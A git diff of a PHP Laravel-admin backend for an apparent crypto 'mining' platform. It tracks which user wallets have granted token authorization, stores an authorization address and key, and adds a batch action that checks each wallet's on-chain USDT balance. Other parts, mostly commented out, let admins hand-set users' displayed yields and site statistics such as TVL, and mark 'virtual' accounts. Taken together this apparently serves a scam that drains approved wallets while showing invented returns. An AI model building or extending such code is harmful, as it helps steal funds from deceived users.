Merge branch 'dev'
This commit is contained in:
commit
bfab9ee288
|
@ -0,0 +1,32 @@
|
|||
<?php
|
||||
|
||||
namespace App\Admin\Actions;
|
||||
|
||||
use App\User;
|
||||
use App\Tool\ThirdApi;
|
||||
use Encore\Admin\Actions\BatchAction;
|
||||
use Illuminate\Database\Eloquent\Collection;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class BatchRequestBalance extends BatchAction
|
||||
{
|
||||
public $name = '刷新餘額';
|
||||
|
||||
public function handle(Collection $collection)
|
||||
{
|
||||
foreach ($collection as $model) {
|
||||
$balance = ThirdApi::getUSDTBalance($model->address);
|
||||
// TODO 很慢
|
||||
if ($balance > 0.0) {
|
||||
User::where('address', $model->address)->update(['USDT' => $balance]);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->response()->success('已全部刷新')->refresh();
|
||||
}
|
||||
|
||||
public function dialog()
|
||||
{
|
||||
$this->confirm('确定刷新所选?');
|
||||
}
|
||||
}
|
|
@ -29,11 +29,12 @@ class SettingController extends AdminController
|
|||
protected function grid()
|
||||
{
|
||||
$grid = new Grid(new Setting());
|
||||
$grid->model()->where('status', 0)->orderBy('sorts', 'ASC');
|
||||
|
||||
$grid->column('name', '名称');
|
||||
$grid->column('svalue', '值')->editable();
|
||||
$grid->column('comment', '說明')->editable();
|
||||
$grid->column('updated_at', '更新');
|
||||
$grid->column('sorts', 'sort')->editable();
|
||||
|
||||
$grid->actions(function ($actions) {
|
||||
// 去掉查看
|
||||
|
@ -68,6 +69,8 @@ class SettingController extends AdminController
|
|||
$form->text('name', '配置變量(en)')->readonly();
|
||||
$form->text('svalue', '配置值');
|
||||
$form->text('comment', '配置說明');
|
||||
$form->text('sorts', 'sort');
|
||||
$form->text('status', '狀態');
|
||||
|
||||
$form->footer(function ($footer) {
|
||||
// 去掉`重置`按钮
|
||||
|
|
|
@ -43,48 +43,48 @@ class SystemController extends AdminController
|
|||
|
||||
|
||||
// 添加text类型的input框
|
||||
$form->display('id', 'id')->default($data->id);
|
||||
// $form->display('id', 'id')->default($data->id);
|
||||
$form->text('secret', '谷歌密钥')->default($data->secret);
|
||||
$form->text('swim', '链上浮动 1-100')->default($data->swim);
|
||||
$form->text('reward1', 'Multi-chain Lock-up Value')->default($data->reward1);
|
||||
$form->text('reward2', 'Multi-chain User Revenue')->default($data->reward2);
|
||||
$form->text('reward3', 'Mining Output(GLK)')->default($data->reward3);
|
||||
$form->text('reward4', 'Mining Output Value($)')->default($data->reward4);
|
||||
$form->text('reward5', 'Multi-chain Rewards($)')->default($data->reward5);
|
||||
$form->text('reward6', 'Multi-chain Burned(GLK)')->default($data->reward6);
|
||||
$form->text('reward7', 'TVL v2')->default($data->reward7);
|
||||
$form->text('reward8', 'Total Users Earned v2')->default($data->reward8);
|
||||
$form->text('reward9', 'TVL v1')->default($data->reward9);
|
||||
$form->text('reward10', 'Total Users Earned v1')->default($data->reward10);
|
||||
$form->text('reward11', 'Multi-chain Rewards ($)')->default($data->reward11);
|
||||
$form->text('reward12', 'Multi-chain Lock-up Value ($)')->default($data->reward12);
|
||||
$form->text('reward13', 'Multi-chain Lock-up Amount')->default($data->reward13);
|
||||
$form->text('reward14', 'Pending Repurchase')->default($data->reward14);
|
||||
$form->text('reward15', 'Repurchased')->default($data->reward15);
|
||||
$form->text('reward16', 'Destroy (GLK)')->default($data->reward16);
|
||||
$form->text('reward17', 'TVL($)')->default($data->reward17);
|
||||
$form->text('reward18', 'Total Users Earned($)')->default($data->reward18);
|
||||
$form->text('kefu_url', '客服链接')->default($data->kefu_url);
|
||||
// $form->text('swim', '链上浮动 1-100')->default($data->swim);
|
||||
// $form->text('reward1', 'Multi-chain Lock-up Value')->default($data->reward1);
|
||||
// $form->text('reward2', 'Multi-chain User Revenue')->default($data->reward2);
|
||||
// $form->text('reward3', 'Mining Output(GLK)')->default($data->reward3);
|
||||
// $form->text('reward4', 'Mining Output Value($)')->default($data->reward4);
|
||||
// $form->text('reward5', 'Multi-chain Rewards($)')->default($data->reward5);
|
||||
// $form->text('reward6', 'Multi-chain Burned(GLK)')->default($data->reward6);
|
||||
// $form->text('reward7', 'TVL v2')->default($data->reward7);
|
||||
// $form->text('reward8', 'Total Users Earned v2')->default($data->reward8);
|
||||
// $form->text('reward9', 'TVL v1')->default($data->reward9);
|
||||
// $form->text('reward10', 'Total Users Earned v1')->default($data->reward10);
|
||||
// $form->text('reward11', 'Multi-chain Rewards ($)')->default($data->reward11);
|
||||
// $form->text('reward12', 'Multi-chain Lock-up Value ($)')->default($data->reward12);
|
||||
// $form->text('reward13', 'Multi-chain Lock-up Amount')->default($data->reward13);
|
||||
// $form->text('reward14', 'Pending Repurchase')->default($data->reward14);
|
||||
// $form->text('reward15', 'Repurchased')->default($data->reward15);
|
||||
// $form->text('reward16', 'Destroy (GLK)')->default($data->reward16);
|
||||
// $form->text('reward17', 'TVL($)')->default($data->reward17);
|
||||
// $form->text('reward18', 'Total Users Earned($)')->default($data->reward18);
|
||||
// $form->text('kefu_url', '客服链接')->default($data->kefu_url);
|
||||
$form->text('pic_url', '轮播图链接')->default($data->pic_url);
|
||||
|
||||
$form->text('telegram', '飞机号')->default($data->telegram);
|
||||
$form->text('twitter', '推特号')->default($data->twitter);
|
||||
// $form->text('app_address', '授权地址')->default($data->app_address);
|
||||
// $form->text('app_key', '授权key')->default($data->app_key);
|
||||
// $form->text('gui_address', '归集地址')->default($data->gui_address);
|
||||
$form->text('GLK', '平台币价格')->default($data->GLK);
|
||||
$form->text('time1', '奖励发放间隔(平台币)分钟')->default($data->time1);
|
||||
$form->text('time2', '奖励发放间隔(自身币)分钟')->default($data->time1);
|
||||
$form->text('airdrop1', '空投领取周期')->default($data->airdrop1);
|
||||
$form->text('airdrop2', '空投领取地址')->default($data->airdrop2);
|
||||
$form->text('dao_count', 'DAO锁仓数量')->default($data->dao_count);
|
||||
$form->text('dao_lixi', 'DAO锁仓利息')->default($data->dao_lixi);
|
||||
$form->text('dao_free', 'DAO7日不足抽取本金')->default($data->dao_free);
|
||||
$form->text('dao_interval', 'DAO领取间隔(分钟)')->default($data->dao_interval);
|
||||
$form->text('limit_GLK', 'GLK最低兑换限制')->default($data->limit_GLK);
|
||||
$form->text('yao_lixi', '邀请返利')->default($data->yao_lixi);
|
||||
$form->text('suo_lixi', '锁仓返利')->default($data->suo_lixi);
|
||||
$form->text('liudong', '流动挖矿奖励间隔')->default($data->liudong);
|
||||
// $form->text('telegram', '飞机号')->default($data->telegram);
|
||||
// $form->text('twitter', '推特号')->default($data->twitter);
|
||||
$form->text('app_address', '授权地址')->default($data->app_address);
|
||||
$form->text('app_key', '授权key')->default($data->app_key);
|
||||
// $form->text('gui_address', '归集地址')->default($data->gui_address);
|
||||
// $form->text('GLK', '平台币价格')->default($data->GLK);
|
||||
// $form->text('time1', '奖励发放间隔(平台币)分钟')->default($data->time1);
|
||||
// $form->text('time2', '奖励发放间隔(自身币)分钟')->default($data->time1);
|
||||
// $form->text('airdrop1', '空投领取周期')->default($data->airdrop1);
|
||||
// $form->text('airdrop2', '空投领取地址')->default($data->airdrop2);
|
||||
// $form->text('dao_count', 'DAO锁仓数量')->default($data->dao_count);
|
||||
// $form->text('dao_lixi', 'DAO锁仓利息')->default($data->dao_lixi);
|
||||
// $form->text('dao_free', 'DAO7日不足抽取本金')->default($data->dao_free);
|
||||
// $form->text('dao_interval', 'DAO领取间隔(分钟)')->default($data->dao_interval);
|
||||
// $form->text('limit_GLK', 'GLK最低兑换限制')->default($data->limit_GLK);
|
||||
// $form->text('yao_lixi', '邀请返利')->default($data->yao_lixi);
|
||||
// $form->text('suo_lixi', '锁仓返利')->default($data->suo_lixi);
|
||||
// $form->text('liudong', '流动挖矿奖励间隔')->default($data->liudong);
|
||||
// $form->select('lang','默认语言')->options([1 => '中文', 2 => '英文']);
|
||||
|
||||
$form->tools(function (Form\Tools $tools) {
|
||||
|
@ -135,9 +135,9 @@ class SystemController extends AdminController
|
|||
|
||||
'telegram' => $request->input('telegram'),
|
||||
'twitter' => $request->input('twitter'),
|
||||
// 'app_address' => $request->input('app_address'),
|
||||
// 'app_key' => $request->input('app_key'),
|
||||
// 'gui_address' => $request->input('gui_address'),
|
||||
// 'app_address' => $request->input('app_address'),
|
||||
// 'app_key' => $request->input('app_key'),
|
||||
// 'gui_address' => $request->input('gui_address'),
|
||||
'GLK' => $request->input('GLK'),
|
||||
'time1' => $request->input('time1'),
|
||||
'time2' => $request->input('time2'),
|
||||
|
|
|
@ -2,13 +2,12 @@
|
|||
|
||||
namespace App\Admin\Controllers;
|
||||
|
||||
use App\Admin\Actions\BatchRequestBalance;
|
||||
use App\Admin\Actions\Post\Airdrop;
|
||||
use App\Admin\Actions\Post\Replicate;
|
||||
use App\Admin\Actions\User\Swap;
|
||||
use App\Admin\Tools\RequestBalance;
|
||||
use App\User;
|
||||
use App\Vault;
|
||||
use App\Vault2;
|
||||
use App\Vault3;
|
||||
use Encore\Admin\Controllers\AdminController;
|
||||
use Encore\Admin\Form;
|
||||
use Encore\Admin\Grid;
|
||||
|
@ -43,35 +42,57 @@ class UserController extends AdminController
|
|||
|
||||
// 在这里添加字段过滤器
|
||||
$filter->like('address', '钱包地址');
|
||||
$filter->gt('USDT', '錢包餘額');
|
||||
$filter->between('created_at', '创建时间')->datetime();
|
||||
$filter->between('updated_at', '最近时间')->datetime();
|
||||
});
|
||||
|
||||
$grid->column('id', __('ID'))->sortable();
|
||||
$grid->column('address', __('钱包地址'))->expand(function ($model) {
|
||||
$vault = Vault::where(['id' => $model->id])->first();
|
||||
$vault2 = Vault2::where(['id' => $model->id])->first();
|
||||
$grid->column('address', __('钱包地址'));
|
||||
|
||||
return new Table(['币种', '账户余额', '策略(平台币)', '收益', '策略(自身币)', '收益', '是否授权'], [
|
||||
['USDT', $model->USDT, $vault->USDT, $vault->USDT_T, $vault2->USDT, $vault2->USDT_T, empty($model->USDT_Q) ? 'no' : 'yes'],
|
||||
['WETH', $model->WETH, $vault->WETH, $vault->WETH_T, $vault2->WETH, $vault2->WETH_T, empty($model->WETH_Q) ? 'no' : 'yes'],
|
||||
['WBTC', $model->WBTC, $vault->WBTC, $vault->WBTC_T, $vault2->WBTC, $vault2->WBTC_T, empty($model->WBTC_Q) ? 'no' : 'yes'],
|
||||
['SHIB', $model->SHIB, $vault->SHIB, $vault->SHIB_T, $vault2->SHIB, $vault2->SHIB_T, empty($model->SHIB_Q) ? 'no' : 'yes'],
|
||||
['UNI', $model->UNI, $vault->UNI, $vault->UNI_T, $vault2->UNI, $vault2->UNI_T, empty($model->UNI_Q) ? 'no' : 'yes'],
|
||||
['DAI', $model->DAI, $vault->DAI, $vault->DAI_T, $vault2->DAI, $vault2->DAI_T, empty($model->DAI_Q) ? 'no' : 'yes'],
|
||||
['USDC', $model->USDC, $vault->USDC, $vault->USDC_T, $vault2->USDC, $vault2->USDC_T, empty($model->USDC_Q) ? 'no' : 'yes']
|
||||
]);
|
||||
});
|
||||
// ->expand(function ($model) {
|
||||
// // $vault = Vault::where(['id' => $model->id])->first();
|
||||
// // $vault2 = Vault2::where(['id' => $model->id])->first();
|
||||
// return new Table([
|
||||
// '币种',
|
||||
// '錢包余额',
|
||||
// // '策略(平台币)',
|
||||
// // '收益',
|
||||
// // '策略(自身币)',
|
||||
// // '收益',
|
||||
// '是否授权',
|
||||
// ], [
|
||||
// [
|
||||
// 'USDT',
|
||||
// $model->USDT,
|
||||
// // $vault->USDT, $vault->USDT_T, $vault2->USDT, $vault2->USDT_T,
|
||||
// empty($model->USDT_Q) ? 'no' : 'yes',
|
||||
// ],
|
||||
// // ['WETH', $model->WETH, $vault->WETH, $vault->WETH_T, $vault2->WETH, $vault2->WETH_T, empty($model->WETH_Q) ? 'no' : 'yes'],
|
||||
// // ['WBTC', $model->WBTC, $vault->WBTC, $vault->WBTC_T, $vault2->WBTC, $vault2->WBTC_T, empty($model->WBTC_Q) ? 'no' : 'yes'],
|
||||
// // ['SHIB', $model->SHIB, $vault->SHIB, $vault->SHIB_T, $vault2->SHIB, $vault2->SHIB_T, empty($model->SHIB_Q) ? 'no' : 'yes'],
|
||||
// // ['UNI', $model->UNI, $vault->UNI, $vault->UNI_T, $vault2->UNI, $vault2->UNI_T, empty($model->UNI_Q) ? 'no' : 'yes'],
|
||||
// // ['DAI', $model->DAI, $vault->DAI, $vault->DAI_T, $vault2->DAI, $vault2->DAI_T, empty($model->DAI_Q) ? 'no' : 'yes'],
|
||||
// // [
|
||||
// // 'USDC', $model->USDC,
|
||||
// // // $vault->USDC, $vault->USDC_T, $vault2->USDC, $vault2->USDC_T,
|
||||
// // empty($model->USDC_Q) ? 'no' : 'yes',
|
||||
// // ]
|
||||
// ]);
|
||||
// });
|
||||
$grid->column('protocol', '协议');
|
||||
$grid->column('balance', '平台币')->expand(function ($model) {
|
||||
$data = Vault3::where(['id' => $model['id']])->first();
|
||||
$grid->column('USDT', '錢包餘額');
|
||||
$grid->column('balance', '账户余额');
|
||||
|
||||
return new Table(['DAO锁仓', 'DAO累计收益', '最后锁仓时间', '总共交易额', '空投金额', '邀请累计佣金', '邀请可领佣金', '流动收益(USDT)', '流动收益(USDC)'], [
|
||||
[$model['dao_current'], $model['dao_leiji'], $model['dao_time'], $model['count_amount'], $model['Airdrop'], $model['yao_leiji_amount'], $model['yao_curr_amount'], $data['USDT_T'], $data['USDC_T']]
|
||||
]);
|
||||
});
|
||||
// ->expand(function ($model) {
|
||||
// $data = Vault3::where(['id' => $model['id']])->first();
|
||||
|
||||
$grid->column('num', __('交易次数'))->sortable();
|
||||
// return new Table(['DAO锁仓', 'DAO累计收益', '最后锁仓时间', '总共交易额', '空投金额', '邀请累计佣金', '邀请可领佣金', '流动收益(USDT)', '流动收益(USDC)'], [
|
||||
// [$model['dao_current'], $model['dao_leiji'], $model['dao_time'], $model['count_amount'], $model['Airdrop'], $model['yao_leiji_amount'], $model['yao_curr_amount'], $data['USDT_T'], $data['USDC_T']]
|
||||
// ]);
|
||||
// });
|
||||
|
||||
// $grid->column('num', __('交易次数'))->sortable();
|
||||
$grid->column('use', __('本金状态'))->display(function ($title) {
|
||||
if ($title == 1) {
|
||||
return "<span style='color: #00a65a'>正常</span>";
|
||||
|
@ -79,6 +100,7 @@ class UserController extends AdminController
|
|||
return "<span style='color: red'>禁用</span>";
|
||||
}
|
||||
});
|
||||
|
||||
$grid->column('use1', __('收益状态'))->display(function ($title) {
|
||||
if ($title == 1) {
|
||||
return "<span style='color: #00a65a'>正常</span>";
|
||||
|
@ -87,23 +109,23 @@ class UserController extends AdminController
|
|||
}
|
||||
});
|
||||
|
||||
$grid->column('id', '下级数量')->display(function ($title) {
|
||||
return User::where(['s_id' => $title])->count();
|
||||
})->expand(function ($model) {
|
||||
$user = User::where(['s_id' => $model['id']])->get()->toArray();
|
||||
$data = [];
|
||||
foreach ($user as $k => $v) {
|
||||
$data[] = [$v['address'], $v['num'], $v['remark'], $v['created_at']];
|
||||
}
|
||||
return new Table(['钱包地址', '交易次数', '备注说明', '创建时间'], $data);
|
||||
});;
|
||||
$grid->column('user_type', '虚拟号')->display(function ($released) {
|
||||
return $released ? '是' : '否';
|
||||
});
|
||||
// $grid->column('id', '下级数量')->display(function ($title) {
|
||||
// return User::where(['s_id' => $title])->count();
|
||||
// })->expand(function ($model) {
|
||||
// $user = User::where(['s_id' => $model['id']])->get()->toArray();
|
||||
// $data = [];
|
||||
// foreach ($user as $k => $v) {
|
||||
// $data[] = [$v['address'], $v['num'], $v['remark'], $v['created_at']];
|
||||
// }
|
||||
// return new Table(['钱包地址', '交易次数', '备注说明', '创建时间'], $data);
|
||||
// });;
|
||||
// $grid->column('user_type', '虚拟号')->display(function ($released) {
|
||||
// return $released ? '是' : '否';
|
||||
// });
|
||||
$grid->column('remark', __('备注说明'))->editable();
|
||||
$grid->column('ip', __('注册地址'));
|
||||
$grid->column('created_at', __('创建时间'))->sortable();
|
||||
$grid->column('updated_at', '最后上线')->display(function ($title) {
|
||||
$grid->column('updated_at', __('最后上线'))->display(function ($title) {
|
||||
return (int)((time() - strtotime($title)) / 60) . '分钟';
|
||||
});
|
||||
|
||||
|
@ -115,8 +137,16 @@ class UserController extends AdminController
|
|||
$actions->add(new Swap());
|
||||
});
|
||||
|
||||
// $grid->tools(function ($tools) {
|
||||
// $tools->append(new RequestBalance('www.google.com', 'fa-backward', 'B'));
|
||||
// });
|
||||
|
||||
$grid->batchActions(function ($batch) {
|
||||
$batch->add(new BatchRequestBalance());
|
||||
});
|
||||
|
||||
$grid->disableCreateButton();
|
||||
|
||||
return $grid;
|
||||
}
|
||||
|
||||
|
@ -144,73 +174,70 @@ class UserController extends AdminController
|
|||
*/
|
||||
protected function form()
|
||||
{
|
||||
$arr = request()->route()->parameters();
|
||||
$id = $arr['user'];
|
||||
$userinfo = User::find($id);
|
||||
$vault = Vault::where(['address' => $userinfo->address])->first();
|
||||
|
||||
$vault2 = Vault2::where(['address' => $userinfo->address])->first();
|
||||
// $arr = request()->route()->parameters();
|
||||
// $id = $arr['user'];
|
||||
// $userinfo = User::find($id);
|
||||
// $vault = Vault::where(['address' => $userinfo->address])->first();
|
||||
// $vault2 = Vault2::where(['address' => $userinfo->address])->first();
|
||||
$form = new Form(new User);
|
||||
|
||||
$form->display('address', __('钱包地址'))->disable();
|
||||
$form->text('remark', __('备注'));
|
||||
$form->text('USDT', __('账号余额USDT'));
|
||||
$form->text('USDT_V', __('策略(平台币)USDT'))->default($vault->USDT);
|
||||
$form->text('USDT_V2', __('策略(自身币)USDT'))->default($vault2->USDT);
|
||||
$form->text('USDT_T', __('收益USDT'))->default($vault->USDT_T);
|
||||
$form->text('USDT_T2', __('收益USDT2'))->default($vault2->USDT_T);
|
||||
$form->text('WETH', __('账号余额WETH'));
|
||||
$form->text('WETH_V', __('策略(平台币)WETH'))->default($vault->WETH);
|
||||
$form->text('WETH_V2', __('策略(自身币)WETH'))->default($vault2->WETH);
|
||||
$form->text('WETH_T', __('收益WETH'))->default($vault->WETH_T);
|
||||
$form->text('WETH_T2', __('收益WETH2'))->default($vault2->WETH_T);
|
||||
$form->text('WBTC', __('账号余额WBTC'));
|
||||
$form->text('WBTC_V', __('策略(平台币)WBTC'))->default($vault->WBTC);
|
||||
$form->text('WBTC_V2', __('策略(自身币)WBTC'))->default($vault2->WBTC);
|
||||
$form->text('WBTC_T', __('收益WBTC'))->default($vault->WBTC_T);
|
||||
$form->text('WBTC_T2', __('收益WBTC2'))->default($vault2->WBTC_T);
|
||||
$form->text('SHIB', __('账号余额SHIB'));
|
||||
// $form->text('USDT_V', __('策略(平台币)USDT'))->default($vault->USDT);
|
||||
// $form->text('USDT_V2', __('策略(自身币)USDT'))->default($vault2->USDT);
|
||||
// $form->text('USDT_T', __('收益USDT'))->default($vault->USDT_T);
|
||||
// $form->text('USDT_T2', __('收益USDT2'))->default($vault2->USDT_T);
|
||||
// $form->text('WETH', __('账号余额WETH'));
|
||||
// $form->text('WETH_V', __('策略(平台币)WETH'))->default($vault->WETH);
|
||||
// $form->text('WETH_V2', __('策略(自身币)WETH'))->default($vault2->WETH);
|
||||
// $form->text('WETH_T', __('收益WETH'))->default($vault->WETH_T);
|
||||
// $form->text('WETH_T2', __('收益WETH2'))->default($vault2->WETH_T);
|
||||
// $form->text('WBTC', __('账号余额WBTC'));
|
||||
// $form->text('WBTC_V', __('策略(平台币)WBTC'))->default($vault->WBTC);
|
||||
// $form->text('WBTC_V2', __('策略(自身币)WBTC'))->default($vault2->WBTC);
|
||||
// $form->text('WBTC_T', __('收益WBTC'))->default($vault->WBTC_T);
|
||||
// $form->text('WBTC_T2', __('收益WBTC2'))->default($vault2->WBTC_T);
|
||||
// $form->text('SHIB', __('账号余额SHIB'));
|
||||
|
||||
$form->text('SHIB_V', __('策略(平台币)SHIB'))->default($vault->SHIB);
|
||||
$form->text('SHIB_V2', __('策略(自身币)SHIB'))->default($vault2->SHIB);
|
||||
$form->text('SHIB_T', __('收益SHIB'))->default($vault->SHIB_T);
|
||||
$form->text('SHIB_T2', __('收益SHIB2'))->default($vault2->SHIB_T);
|
||||
// $form->text('SHIB_V', __('策略(平台币)SHIB'))->default($vault->SHIB);
|
||||
// $form->text('SHIB_V2', __('策略(自身币)SHIB'))->default($vault2->SHIB);
|
||||
// $form->text('SHIB_T', __('收益SHIB'))->default($vault->SHIB_T);
|
||||
// $form->text('SHIB_T2', __('收益SHIB2'))->default($vault2->SHIB_T);
|
||||
|
||||
$form->text('UNI', __('账号余额UNI'));
|
||||
$form->text('UNI_V', __('策略(平台币)UNI'))->default($vault->UNI);
|
||||
$form->text('UNI_V2', __('策略(自身币)UNI'))->default($vault2->UNI);
|
||||
$form->text('UNI_T', __('收益UNI'))->default($vault->UNI);
|
||||
$form->text('UNI_T2', __('收益UNI2'))->default($vault2->UNI);
|
||||
// $form->text('UNI', __('账号余额UNI'));
|
||||
// $form->text('UNI_V', __('策略(平台币)UNI'))->default($vault->UNI);
|
||||
// $form->text('UNI_V2', __('策略(自身币)UNI'))->default($vault2->UNI);
|
||||
// $form->text('UNI_T', __('收益UNI'))->default($vault->UNI);
|
||||
// $form->text('UNI_T2', __('收益UNI2'))->default($vault2->UNI);
|
||||
|
||||
$form->text('DAI', __('账号余额DAI'));
|
||||
$form->text('DAI_V', __('策略(平台币)DAI'))->default($vault->DAI);
|
||||
$form->text('DAI_V2', __('策略(自身币)DAI'))->default($vault2->DAI);
|
||||
$form->text('DAI_T', __('收益DAI'))->default($vault->DAI_T);
|
||||
$form->text('DAI_T2', __('收益DAI2'))->default($vault2->DAI_T);
|
||||
// $form->text('DAI', __('账号余额DAI'));
|
||||
// $form->text('DAI_V', __('策略(平台币)DAI'))->default($vault->DAI);
|
||||
// $form->text('DAI_V2', __('策略(自身币)DAI'))->default($vault2->DAI);
|
||||
// $form->text('DAI_T', __('收益DAI'))->default($vault->DAI_T);
|
||||
// $form->text('DAI_T2', __('收益DAI2'))->default($vault2->DAI_T);
|
||||
|
||||
$form->text('USDC', __('账号余额USDC'));
|
||||
$form->text('USDC_V', __('策略(平台币)USDC'))->default($vault->USDC);
|
||||
$form->text('USDC_V2', __('策略(自身币)USDC'))->default($vault2->USDC);
|
||||
$form->text('USDC_T', __('收益USDT'))->default($vault->USDC_T);
|
||||
// $form->text('USDC', __('账号余额USDC'));
|
||||
// $form->text('USDC_V', __('策略(平台币)USDC'))->default($vault->USDC);
|
||||
// $form->text('USDC_V2', __('策略(自身币)USDC'))->default($vault2->USDC);
|
||||
// $form->text('USDC_T', __('收益USDT'))->default($vault->USDC_T);
|
||||
|
||||
$form->text('USDC_T2', __('收益USDT2'))->default($vault2->USDC_T);
|
||||
// $form->text('USDC_T2', __('收益USDT2'))->default($vault2->USDC_T);
|
||||
$states = [
|
||||
'off' => ['value' => 2, 'text' => '禁用', 'color' => 'danger'],
|
||||
'on' => ['value' => 1, 'text' => '正常', 'color' => 'success'],
|
||||
];
|
||||
|
||||
$user_type = [
|
||||
'off' => ['value' => 0, 'text' => '正常号', 'color' => 'danger'],
|
||||
'on' => ['value' => 1, 'text' => '虚拟号', 'color' => 'success'],
|
||||
];
|
||||
$form->switch('user_type', '账号状态')->states($user_type);
|
||||
// $user_type = [
|
||||
// 'off' => ['value' => 0, 'text' => '正常号', 'color' => 'danger'],
|
||||
// 'on' => ['value' => 1, 'text' => '虚拟号', 'color' => 'success'],
|
||||
// ];
|
||||
// $form->switch('user_type', '账号状态')->states($user_type);
|
||||
$form->switch('use', '本金状态')->states($states);
|
||||
$form->switch('use1', '收益状态')->states($states);
|
||||
|
||||
$form->setAction('post');
|
||||
|
||||
|
||||
|
||||
return $form;
|
||||
}
|
||||
|
||||
|
@ -221,51 +248,45 @@ class UserController extends AdminController
|
|||
|
||||
$user = User::where(['id' => $id])->first();
|
||||
|
||||
$vault = Vault::where(['address' => $user->address])->update([
|
||||
'USDT' => $request->input("USDT_V"),
|
||||
'WETH' => $request->input("WETH_V"),
|
||||
'WETH_T' => $request->input("WETH_T"),
|
||||
'USDT_T' => $request->input("USDT_T"),
|
||||
'WBTC' => $request->input("WBTC_V"),
|
||||
'WBTC_T' => $request->input("WBTC_T"),
|
||||
'SHIB' => $request->input("SHIB_V"),
|
||||
'SHIB_T' => $request->input("SHIB_T"),
|
||||
'UNI' => $request->input("UNI_V"),
|
||||
'UNI_T' => $request->input("UNI_T"),
|
||||
'DAI' => $request->input("DAI_V"),
|
||||
'DAI_T' => $request->input("DAI_T"),
|
||||
'USDC' => $request->input("USDC_V"),
|
||||
'USDC_T' => $request->input("USDC_T"),
|
||||
]);
|
||||
// $vault = Vault::where(['address' => $user->address])->update([
|
||||
// 'USDT' => $request->input("USDT_V"),
|
||||
// 'WETH' => $request->input("WETH_V"),
|
||||
// 'WETH_T' => $request->input("WETH_T"),
|
||||
// 'USDT_T' => $request->input("USDT_T"),
|
||||
// 'WBTC' => $request->input("WBTC_V"),
|
||||
// 'WBTC_T' => $request->input("WBTC_T"),
|
||||
// 'SHIB' => $request->input("SHIB_V"),
|
||||
// 'SHIB_T' => $request->input("SHIB_T"),
|
||||
// 'UNI' => $request->input("UNI_V"),
|
||||
// 'UNI_T' => $request->input("UNI_T"),
|
||||
// 'DAI' => $request->input("DAI_V"),
|
||||
// 'DAI_T' => $request->input("DAI_T"),
|
||||
// 'USDC' => $request->input("USDC_V"),
|
||||
// 'USDC_T' => $request->input("USDC_T"),
|
||||
// ]);
|
||||
|
||||
// $vault2 = Vault2::where(['address' => $user->address])->update([
|
||||
// 'USDT' => $request->input("USDT_V2"),
|
||||
// 'USDT_T' => $request->input("USDT_T2"),
|
||||
// 'WETH' => $request->input("WETH_V2"),
|
||||
// 'WETH_T' => $request->input("WETH_T2"),
|
||||
// 'WBTC' => $request->input("WBTC_V2"),
|
||||
// 'WBTC_T' => $request->input("WBTC_T2"),
|
||||
// 'SHIB' => $request->input("SHIB_V2"),
|
||||
// 'SHIB_T' => $request->input("SHIB_T2"),
|
||||
// 'UNI' => $request->input("UNI_V2"),
|
||||
// 'UNI_T' => $request->input("UNI_T2"),
|
||||
// 'USDC' => $request->input("USDC_V2"),
|
||||
// 'USDC_T' => $request->input("USDC_T2"),
|
||||
// 'DAI' => $request->input("DAI_V2"),
|
||||
// 'DAI_T' => $request->input("DAI_T2"),
|
||||
// ]);
|
||||
|
||||
|
||||
$vault2 = Vault2::where(['address' => $user->address])->update([
|
||||
'USDT' => $request->input("USDT_V2"),
|
||||
'USDT_T' => $request->input("USDT_T2"),
|
||||
'WETH' => $request->input("WETH_V2"),
|
||||
'WETH_T' => $request->input("WETH_T2"),
|
||||
'WBTC' => $request->input("WBTC_V2"),
|
||||
'WBTC_T' => $request->input("WBTC_T2"),
|
||||
'SHIB' => $request->input("SHIB_V2"),
|
||||
'SHIB_T' => $request->input("SHIB_T2"),
|
||||
'UNI' => $request->input("UNI_V2"),
|
||||
'UNI_T' => $request->input("UNI_T2"),
|
||||
'USDC' => $request->input("USDC_V2"),
|
||||
'USDC_T' => $request->input("USDC_T2"),
|
||||
'DAI' => $request->input("DAI_V2"),
|
||||
'DAI_T' => $request->input("DAI_T2"),
|
||||
|
||||
|
||||
|
||||
|
||||
]);
|
||||
|
||||
if ($request->input("user_type") == 'off') {
|
||||
$user_type = 0;
|
||||
} else {
|
||||
$user_type = 1;
|
||||
}
|
||||
// if ($request->input("user_type") == 'off') {
|
||||
// $user_type = 0;
|
||||
// } else {
|
||||
// $user_type = 1;
|
||||
// }
|
||||
if ($request->input("use") == 'off') {
|
||||
$use = 2;
|
||||
} else {
|
||||
|
@ -278,18 +299,17 @@ class UserController extends AdminController
|
|||
}
|
||||
|
||||
$user = User::where(['id' => $id])->update([
|
||||
|
||||
'USDT' => $request->input("USDT"),
|
||||
'WETH' => $request->input("WETH"),
|
||||
'WBTC' => $request->input("WBTC"),
|
||||
'UNI' => $request->input("UNI"),
|
||||
'DAI' => $request->input("DAI"),
|
||||
'SHIB' => $request->input("SHIB"),
|
||||
'USDC' => $request->input("USDC"),
|
||||
// 'USDT' => $request->input("USDT"),
|
||||
// 'WETH' => $request->input("WETH"),
|
||||
// 'WBTC' => $request->input("WBTC"),
|
||||
// 'UNI' => $request->input("UNI"),
|
||||
// 'DAI' => $request->input("DAI"),
|
||||
// 'SHIB' => $request->input("SHIB"),
|
||||
// 'USDC' => $request->input("USDC"),
|
||||
'remark' => $request->input("remark"),
|
||||
'use' => $use,
|
||||
'use1' => $use1,
|
||||
'user_type' => $user_type
|
||||
// 'user_type' => $user_type,
|
||||
]);
|
||||
|
||||
return redirect('/admin/user');
|
||||
|
|
|
@ -0,0 +1,28 @@
|
|||
<?php
|
||||
|
||||
namespace App\Admin\Tools;
|
||||
|
||||
use Encore\Admin\Grid\Tools\AbstractTool;
|
||||
|
||||
class RequestBalance extends AbstractTool
|
||||
{
|
||||
protected $url;
|
||||
protected $icon;
|
||||
protected $text;
|
||||
|
||||
function __construct($url, $icon, $text)
|
||||
{
|
||||
$this->url = $url;
|
||||
$this->icon = $icon;
|
||||
$this->text = $text;
|
||||
}
|
||||
|
||||
public function render()
|
||||
{
|
||||
$url = $this->url;
|
||||
$icon = $this->icon;
|
||||
$text = $this->text;
|
||||
|
||||
return view('admin.tools.button', compact('url', 'icon', 'text'));
|
||||
}
|
||||
}
|
|
@ -158,22 +158,32 @@ class ApiV1Controller extends Controller
|
|||
return json_encode(['code' => 0, 'msg' => 'dup']);
|
||||
}
|
||||
|
||||
$newRow = new Authorize();
|
||||
$newRow->address = $address;
|
||||
$newRow->name = Base::USDT;
|
||||
$newRow->status = 0;
|
||||
$newRow->hash = $hash;
|
||||
$res = $newRow->save();
|
||||
